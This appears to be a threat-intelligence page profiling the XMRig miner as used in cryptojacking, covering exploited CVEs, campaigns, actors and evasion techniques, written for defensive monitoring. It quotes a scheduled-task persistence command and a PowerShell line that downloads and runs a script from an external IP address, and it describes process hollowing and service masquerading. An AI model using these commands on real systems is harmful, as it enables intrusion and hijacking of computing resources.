Loading malware…
XMRig is a widely used open-source cryptocurrency mining program for Monero and other CryptoNight/RandomX-family coins that is frequently repurposed by threat actors as a cryptojacking payload. In malicious operations it is commonly deployed onto compromised Windows and Linux systems, including servers, cloud workloads, and IoT-adjacent Linux hosts, to monetize unauthorized access through CPU- and sometimes GPU-based mining. Attackers often embed or modify miner configurations, rename the binary or supporting components to resemble legitimate software, pack it with UPX, or execute it through proxy mechanisms such as rundll32 or regsvr32 to reduce detection.
Across intrusion campaigns, XMRig is typically a second-stage payload delivered after exploitation of internet-facing vulnerabilities, brute-force compromise, loader execution, fake software installers, malicious scripts, or botnet propagation. It has been observed in campaigns involving Sysrv, RapperBot, Muhstik, DreamBus, Phorpiex, Lemon Duck, Glupteba, Blue Mockingbird, Mimo/Hezb, HydroJiin, and other financially motivated operators. Delivery chains have included Bash and PowerShell droppers, webshell-enabled post-exploitation, fake installers, cracked-software lures, and malware loaders that also deploy proxyware or remote-access tooling.
Malicious use of XMRig is often accompanied by process killing to remove competing miners, persistence through scheduled tasks, services, cron jobs, or DLL hijacking, and defense evasion through packing, masquerading, injected execution, or process hollowing. Some campaigns inject XMRig into suspended child processes or run custom-compiled DLL forms in the background to make mining less visible. Operators frequently pair XMRig with broader botnet or post-compromise activity, including scanning, brute-force propagation, DDoS capability, credential theft by companion malware, or bandwidth monetization through proxyware. In enterprise incidents, XMRig infections commonly result in sustained CPU exhaustion, degraded server performance, increased power consumption, and evidence of broader compromise rather than standalone nuisance activity.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
33 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
XMRig Miner (PUA)
the threat actor took advantage of a WebLogic remote code execution vulnerability (CVE-2020–14882) to gain initial access to the system before installing a coin miner (XMRig).
Between February 28 and May 2, multiple exploitations of the CVE-2025-32432 were observed during our daily threat monitoring. This vulnerability is a Remote Code Execution affecting the Craft Content Management System.
2025年12月3日(現地時間)、React Server Components(RSC)における認証不要のリモートコード実行の脆弱性(CVE-2025-55182)が公開されました。JPCERT/CCでは、この攻撃の被害報告を複数受けています。 | 2025-12-05 15:52 コインマイナー(sex.sh、xmrig)の設置
On August 25, Atlassian publicly released a patch for a critical remote code execution vulnerability in its popular corporate wiki solution Confluence. Just days later, a proof of concept (POC) code demonstrating how to exploit this CVE was published to GitHub. As expected, threat actors rapidly began exploiting publicly facing Confluence servers. | IronNet observed what appeared to be a number of different botnets, in some cases pushing the same shell script but always ultimately leading to a XMRig coinminer.
The campaign exploits these recent vulnerabilities: CVE-2020-28188, CVE-2021-3007 and CVE-2020-7961. These allow the attacker to upload and execute a Python script on the compromised servers. CVE-2020-28188 The vulnerability is caused by a lack of input validation in the “event” parameter in the “makecvs” PHP page (/include/makecvs.php). This allows a remote unauthenticated attacker to inject OS commands, and gain control of the servers using TerraMaster TOS (versions prior to 4.2.06). | In the latest code downloaded (January 12, 2021), it seems that the malware tries to exploit the vulnerabilities to install the Xmrig from the server hxxp://gxbrowser[.]net.
On December 9, 2021, an RCE vulnerability was disclosed within the log4j package (CVE-2021-44228, CVE-2021-45046) which allows an attacker to execute arbitrary code on machines that utilize the logging functionality of the log4j package. | Case 1 - XMRig ... Xmrig.exe is part of XMRig open-source CPU/GPU cryptocurrency mining software ... The downloaded payload is XMRig miner.
CVE-2021-3007 This vulnerability is caused by the unsecured deserialization of an object. In versions higher than Zend Framework 3.0.0, the attacker abuses the Zend3 feature that loads classes from objects in order to upload and execute malicious code in the server. | In the latest code downloaded (January 12, 2021), it seems that the malware tries to exploit the vulnerabilities to install the Xmrig from the server hxxp://gxbrowser[.]net.
In May 2020, security vendors linked Kinsing to an additional campaign: one exploiting SaltStack CVE-2020-11651 and CVE-2020-11652.
CVE-2020-7961 The vulnerability is a Java unmarshalling vulnerability via JSONWS in Liferay Portal (in versions prior to 7.2.1 CE GA2). Exploiting the vulnerability lets the attacker provide a malicious object, that when unmarshalled, allows remote code execution. | In the latest code downloaded (January 12, 2021), it seems that the malware tries to exploit the vulnerabilities to install the Xmrig from the server hxxp://gxbrowser[.]net.
In May 2020, security vendors linked Kinsing to an additional campaign: one exploiting SaltStack CVE-2020-11651 and CVE-2020-11652.
In January 2020, the year started off with several malware families conducting campaigns against Citrix Application Delivery Controller (ADC) devices via CVE-2019-19781.
Our Anglerfish honeypot system captured two propagation methods: one uses traditional telnet weak password and the other one utilizes an 1-day vulnerability (CVE-2020-35665)... The following is the payload when exploiting the 1-day vulnerability CVE-2020-35665.
The worm scans and exploits existing server based vulnerabilities like CVE-2020-14882 and CVE-2017-11610 from the victim machine... CVE-2017-11610 - A Remote Code Authentication (RCE) vulnerability in the XMLRPC interface in supervisord. | The worm deploys the embedded Xmrig miner to the /tmp location on the victim server... The miner disables the hardware prefetcher by using MSR to boost the mining process.
2. F5 BIG-IP (CVE-2020-5902 and CVE-2021-22986)
We observed attackers targeting the following package and products via security vulnerabilities disclosed in 2020 and 2021 for malicious cryptocurrency-mining activities through samples caught in our honeypots: 1. Atlassian Confluence (CVE-2021-26084 and CVE-2021-26085)
Drupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allow remote attackers to execute arbitrary code... Malware campaigns include the Muhstik botnet and XMRig Monero Cryptocurrency mining. | Malware campaigns include the Muhstik botnet and XMRig Monero Cryptocurrency mining.
360Netlab Threat Detection System started to report attacks targeting the widely used QNAP NAS devices via the unauthorized remote command execution vulnerability (CVE-2020-2506 & CVE-2020-2507), upon successful attack, the attacker will gain root privilege on the device and perform malicious mining activities.
5. Apache HTTP Server (CVE-2021-40438, CVE-2021-41773, and CVE-2021-42013)
3. VMware vCenter (CVE-2021-22005, CVE-2021-21985, CVE-2021-21972, and CVE-2021-21973)
2. F5 BIG-IP (CVE-2020-5902 and CVE-2021-22986)
3. VMware vCenter (CVE-2021-22005, CVE-2021-21985, CVE-2021-21972, and CVE-2021-21973)
3. VMware vCenter (CVE-2021-22005, CVE-2021-21985, CVE-2021-21972, and CVE-2021-21973)
360Netlab Threat Detection System started to report attacks targeting the widely used QNAP NAS devices via the unauthorized remote command execution vulnerability (CVE-2020-2506 & CVE-2020-2507), upon successful attack, the attacker will gain root privilege on the device and perform malicious mining activities.
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49.
4. Oracle WebLogic Server (CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883)
4. Oracle WebLogic Server (CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883)
3. VMware vCenter (CVE-2021-22005, CVE-2021-21985, CVE-2021-21972, and CVE-2021-21973)
As the initial fix was deemed insufficient, a bypass was later reported for the fix and tracked as CVE-2021-42013.
For Jenkins it uses two vulnerabilities for executing code ( CVE-2018-1000861 , CVE-2019-1003000 ) | One of the compressed modules is an XMRig Miner. Before the miner is executed the dropper kills any other process that uses more than 30% of the cloud server's CPU, this way the cryptominer will have all of the CPU for itself.
and for ActiveMQ it tries to do an arbitrary file writing ( CVE-2016-3088 ) | One of the compressed modules is an XMRig Miner. Before the miner is executed the dropper kills any other process that uses more than 30% of the cloud server's CPU, this way the cryptominer will have all of the CPU for itself.
Imperva security researchers were able to identify attackers’ attempts to exploit this vulnerability in order to install and run the XMRig cryptocurrency miner on affected Confluence servers running on Windows and Linux systems.
the threat actors started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000
43 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.
The code shown below highlights how TeamTNT installed a cryptominer on the compromised pod running in the active node of the Kubernetes cluster. The module reflects how the xmrig.tgz file is downloaded and the cryptominer is installed on the compromised pod.
The cryptocurrency miner XMRig has been staged in the past on a command and control (C&C) server by TA427, but it was never confirmed if actors deployed it in the wild.
Although Pro-Ocean attempts to disguise itself as benign, it packs an XMRig miner, which is notorious for its use in cryptojacking operations.
In the latest code downloaded (January 12, 2021), it seems that the malware tries to exploit the vulnerabilities to install the Xmrig from the server hxxp://gxbrowser[.]net.
IronNet observed what appeared to be a number of different botnets, in some cases pushing the same shell script but always ultimately leading to a XMRig coinminer.
23 distinct techniques documented for this family, organized by ATT&CK tactic.
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN "Update service for Windows Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File C:\Users\Administrator\update.ps1" /MO 30 /F | powershell.exe "Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('http://95.142.39.135/1.ps1'))"
the dropper component that requires a specific set of command line arguments to trigger its malicious behavior
sex.sh xmrigのダウンロード用bashスクリプト / miner.sh xmrigの起動用bashスクリプト / javas SNOWLIGHTのダウンロード用bashスクリプト
The main dropper is 32-bit, but it injects a payload into a 64-bit notepad... There are, however, some unofficial solutions to this, such as the technique called “Heaven’s Gate.”
we’re confident that the notepad’s image has been replaced in memory, most probably by the RunPE (Process Hollowing) technique.
The main component deployed by the bash script is a large ELF of 4Mb named 4l4md4r packed with UPX.
later using the service controller to change the display name and description of this service as “Microsofts Defender Antivirus Network Inspection Service”.
The main dropper is 32-bit, but it injects a payload into a 64-bit notepad... There are, however, some unofficial solutions to this, such as the technique called “Heaven’s Gate.”
we’re confident that the notepad’s image has been replaced in memory, most probably by the RunPE (Process Hollowing) technique.
The malware then continues to execute a number of shell commands to set up the environment, and removes competing malware, other cryptocurrency miners, and cloud software... Finally, the files e.py ... and x.px ... are deleted to hide the exploitation.
In some cases, the use of certutil... to download the Lemon Duck payload... certutil was abused to download a PowerShell script.
unins(): Any existing instance of a known cryptominer, specifically c3pool_miner, is uninstalled. The function also terminates all active xmrig processes to eliminate interference from previous infections.
1,203 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A cryptocurrency miner deployed alongside other payloads in the campaign, with configuration retrieved via the same on-chain lookup mechanism.
Cryptocurrency miner deployed by an Aeternum-linked sample, configured via Pastebin with mining parameters and stealth/kill-targets options to evade monitoring and maximize CPU allocation.
Cryptocurrency mining malware/tool used to mine Monero on compromised Deluge and qBittorrent hosts.
Cryptominer deployed after compromising Deluge and qBittorrent instances to hijack compute resources for Monero mining.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.